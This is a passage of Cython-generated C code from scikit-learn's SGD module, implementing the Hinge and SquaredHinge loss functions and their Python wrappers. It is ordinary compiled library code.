self.threshold:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_5Hinge_dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_5dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":157\n * \n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         if z <= self.threshold:\n *             return -y\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":158\n *     cpdef double dloss(self, double p, double y):\n *         cdef double z = p * y\n *         if z <= self.threshold:             # <<<<<<<<<<<<<<\n *             return -y\n *         return 0.0\n */\n  __pyx_t_6 = (__pyx_v_z <= __pyx_v_self->threshold);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":159\n *         cdef double z = p * y\n *         if z <= self.threshold:\n *             return -y             # <<<<<<<<<<<<<<\n *         return 0.0\n * \n */\n    __pyx_r = (-__pyx_v_y);\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":160\n *         if z <= self.threshold:\n *             return -y\n *         return 0.0             # <<<<<<<<<<<<<<\n * \n *     def __reduce__(self):\n */\n  __pyx_r = 0.0;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Hinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_5dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_4dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":156\n *         return 0.0\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z <= self.threshold:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 156; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_5Hinge_7__reduce__(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) {\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__reduce__ (wrapper)\", 0);\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_6__reduce__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *)__pyx_v_self));\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":162\n *         return 0.0\n * \n *     def __reduce__(self):             # <<<<<<<<<<<<<<\n *         return Hinge, (self.threshold,)\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_5Hinge_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_v_self) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"__reduce__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":163\n * \n *     def __reduce__(self):\n *         return Hinge, (self.threshold,)             # <<<<<<<<<<<<<<\n * \n * \n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(__pyx_v_self->threshold); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 163; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 163; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1);\n  __Pyx_GIVEREF(__pyx_t_1);\n  __pyx_t_1 = 0;\n  __pyx_t_1 = PyTuple_New(2); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 163; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_INCREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge)));\n  PyTuple_SET_ITEM(__pyx_t_1, 0, ((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge)));\n  __Pyx_GIVEREF(((PyObject *)((PyObject*)__pyx_ptype_7sklearn_12linear_model_8sgd_fast_Hinge)));\n  PyTuple_SET_ITEM(__pyx_t_1, 1, ((PyObject *)__pyx_t_2));\n  __Pyx_GIVEREF(((PyObject *)__pyx_t_2));\n  __pyx_t_2 = 0;\n  __pyx_r = ((PyObject *)__pyx_t_1);\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Hinge.__reduce__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic int __pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_1__init__(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_threshold;\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__ (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__threshold,0};\n    PyObject* values[1] = {0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (kw_args > 0) {\n          PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s__threshold);\n          if (value) { values[0] = value; kw_args--; }\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"__init__\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else {\n      switch (PyTuple_GET_SIZE(__pyx_args)) {\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n    }\n    if (values[0]) {\n      __pyx_v_threshold = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_threshold == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    } else {\n\n      /* \"sklearn/linear_model/sgd_fast.pyx\":179\n *     cdef double threshold\n * \n *     def __init__(self, double threshold=1.0):             # <<<<<<<<<<<<<<\n *         self.threshold = threshold\n * \n */\n      __pyx_v_threshold = ((double)1.0);\n    }\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"__init__\", 0, 0, 1, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 179; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.__init__\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return -1;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge___init__(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self), __pyx_v_threshold);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_threshold) {\n  int __pyx_r;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"__init__\", 0);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":180\n * \n *     def __init__(self, double threshold=1.0):\n *         self.threshold = threshold             # <<<<<<<<<<<<<<\n * \n *     cpdef double loss(self, double p, double y):\n */\n  __pyx_v_self->threshold = __pyx_v_threshold;\n\n  __pyx_r = 0;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":182\n *         self.threshold = threshold\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_3loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":183\n * \n *     cpdef double loss(self, double p, double y):\n *         cdef double z = self.threshold - p * y             # <<<<<<<<<<<<<<\n *         if z > 0:\n *             return z * z\n */\n  __pyx_v_z = (__pyx_v_self->threshold - (__pyx_v_p * __pyx_v_y));\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":184\n *     cpdef double loss(self, double p, double y):\n *         cdef double z = self.threshold - p * y\n *         if z > 0:             # <<<<<<<<<<<<<<\n *             return z * z\n *         return 0.0\n */\n  __pyx_t_6 = (__pyx_v_z > 0.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":185\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n *             return z * z             # <<<<<<<<<<<<<<\n *         return 0.0\n * \n */\n    __pyx_r = (__pyx_v_z * __pyx_v_z);\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  __pyx_L3:;\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":186\n *         if z > 0:\n *             return z * z\n *         return 0.0             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_r = 0.0;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.SquaredHinge.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_3loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_2loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":182\n *         self.threshold = threshold\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = self.threshold - p * y\n *         if z > 0:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12SquaredHinge_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredHinge *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 182; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.SquaredHinge.loss\", __pyx_clineno, 